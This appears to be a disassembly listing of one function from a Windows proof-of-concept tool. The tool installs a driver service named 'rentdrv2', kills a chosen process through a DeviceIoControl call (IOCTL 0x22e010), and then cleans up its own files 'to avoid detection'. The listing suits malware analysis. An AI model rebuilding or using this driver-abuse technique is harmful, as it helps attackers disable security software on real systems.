Function at 0x140002810
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x8a0
mov rax, qword [0x140026030]
xor rax, rsp
mov qword [rsp + 0x890], rax
mov rdi, rdx
mov ebx, ecx
lea rdx, str.Hello_World__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002df0
cmp ebx, 2
je 0x140002889
lea rdx, str.____Usage:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002df0
mov rdx, qword [rdi]
mov rcx, rax
call fcn.140002df0
mov rcx, rax
lea rdx, str.__PID___n
call fcn.140002df0
jmp 0x140002b08
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1400028ab
lea rdx, str._X__You_are_initializing_a_driver__remember__you_need_to_run_with_right_button____run_as_administrator_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002df0
jmp 0x140002b08
mov rdx, qword [rdi + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], r14b
jne 0x1400028d0
lea rcx, [rsp + 0x40]
call fcn.140002fc0
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rbx, qword [rsp + 0x40]
mov dword [rax], r14d
mov r8d, 0xa
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov esi, eax
cmp rbx, qword [rsp + 0x60]
jne 0x14000292b
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
cmp dword [rdi], 0x22
jne 0x14000293e
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000297f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002979
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002979
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003994
nop
mov ecx, 0x10
call fcn.140003950
mov rdi, rax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
call fcn.1400023b0
test eax, eax
jne 0x1400029ac
lea rcx, str._X__Fail_drop_the_Driver_FILE_on_Disk_n
call fcn.140001020
mov rcx, rdi
call fcn.140002140
test al, al
jne 0x1400029c4
lea rcx, str._X__Fail_to_install_the_Driver_n
call fcn.140001020
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rdi], rax
test rax, rax
je 0x140002a10
mov r8d, 0xf01ff
lea rdx, str.rentdrv2
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rdi + 8], rax
test rax, rax
jne 0x140002ada
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str._X__Fail_to_start_the_Driver_Service_n
call fcn.140001020
nop
lea rcx, str.____Driver_is_initialized___n
call fcn.140001020
mov dword [rsp + 0x70], 1
mov qword [rsp + 0x74], rsi
lea rcx, str.____Kill_process_started___n
call fcn.140001020
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x40000080
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, str.._rentdrv2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0x80c
lea r8, [rsp + 0x70]
mov edx, 0x22e010
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Kill_process_ended___n
call fcn.140001020
lea rcx, str.____Press_any_key_to_stop_driver_and_clean_up_all_POC_files_to_avoid_detection___n
call fcn.140001020
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov rcx, rdi
call fcn.1400025c0
xor eax, eax
jmp 0x140002b0d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov rcx, qword [rdi]
test eax, eax
je 0x140002a00
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140002a1d
mov eax, 1
mov rcx, qword [rsp + 0x890]
xor rcx, rsp
call fcn.140003930
lea r11, [rsp + 0x8a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret